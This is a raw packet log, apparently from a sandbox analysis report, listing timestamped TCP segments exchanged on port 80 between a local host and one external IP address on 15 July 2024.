Jul 15, 2024 00:48:23.159142971 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.159145117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159172058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.159189939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.159727097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159739017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159749985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159779072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.159797907 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.159818888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159831047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159842014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159852982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.159853935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159872055 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.159897089 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.159997940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160008907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160024881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160033941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160036087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160048008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160053015 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160083055 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160106897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160116911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160137892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160156012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160164118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160167933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160177946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160186052 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160191059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160202026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160219908 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160382986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160393953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160404921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160417080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160434008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160445929 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160514116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160556078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160556078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160567999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160587072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160598040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160613060 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160628080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160656929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160669088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160705090 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160721064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160732031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160744905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160764933 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160779953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160821915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160832882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160867929 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.160959959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160974979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.160985947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161005974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.161108971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161120892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161137104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.161137104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161149979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161154032 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.161159992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161179066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.161204100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.161308050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161320925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161331892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161345005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161355019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.161356926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161369085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161382914 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.161411047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.161573887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161586046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161600113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161612988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161613941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.161626101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161638021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.161640882 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.161667109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.161684036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.194067001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.194086075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.194097996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.194125891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.194138050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.194142103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.194155931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.194169044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.194173098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.194181919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.194205999 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.194231987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.247901917 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.247921944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.247987986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.248078108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248091936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248106956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248122931 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.248136044 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.248157024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.248286009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248298883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248317003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248331070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248331070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.248346090 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.248364925 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.248379946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.248579025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248591900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248621941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.248637915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.248712063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248724937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248739004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248745918 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.248752117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248764992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248768091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.248778105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248790026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248800039 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.248802900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248819113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.248820066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.248837948 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.248866081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.248985052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249002934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249016047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249021053 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.249028921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249037027 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.249053955 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.249069929 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.249078989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249092102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249104023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249114990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.249116898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249129057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249131918 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.249145031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249156952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249156952 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.249164104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249185085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.249211073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.249623060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249634981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249676943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.249680042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249694109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249706030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249717951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.249720097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249732971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249747992 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.249777079 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.249974012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249985933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.249999046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250020981 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.250046015 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.250124931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250137091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250149012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250160933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250170946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.250174999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250188112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250194073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.250200987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250212908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250221968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.250225067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250236034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250241041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.250250101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250262976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250266075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.250277042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250293970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.250313044 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.250334024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.250737906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250756979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250796080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.250807047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.250828028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250838995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250845909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250859022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.250871897 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.250900984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251068115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251080990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251094103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251106024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251111984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251117945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251131058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251142979 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251143932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251157045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251171112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251173019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251194954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251218081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251418114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251430988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251471043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251478910 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251487970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251499891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251511097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251521111 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251524925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251539946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251569033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251694918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251707077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251723051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251737118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251760006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251813889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251827955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251848936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251851082 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251862049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251873970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251876116 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251887083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251894951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251902103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.251920938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.251936913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.252146006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252156973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252197027 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.252330065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252342939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252355099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252367020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252377033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.252379894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252392054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252408028 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.252412081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252424002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252434969 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.252438068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252450943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.252453089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252468109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252485991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.252506971 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.252880096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252892971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252904892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252917051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252928972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252933025 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.252942085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.252948999 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.252966881 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.252996922 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.253334999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.253346920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.253360987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.253371000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.253382921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.253396034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.253427029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.284622908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.284638882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.284660101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.284672022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.284682989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.284706116 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.284732103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.284744024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.284758091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.284768105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.284769058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.284799099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.338856936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.338888884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.338901997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.338913918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.338927031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.338939905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.338953972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.338954926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.338954926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.339004993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.339066029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339077950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339091063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339102030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339107990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.339134932 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.339160919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.339227915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339270115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.339274883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339287996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339299917 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339313984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.339314938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339327097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339329958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.339349985 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.339375973 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.339723110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339735031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339745998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339757919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339768887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.339775085 CEST	49704	80	192.168.2.5	38.180.60.246
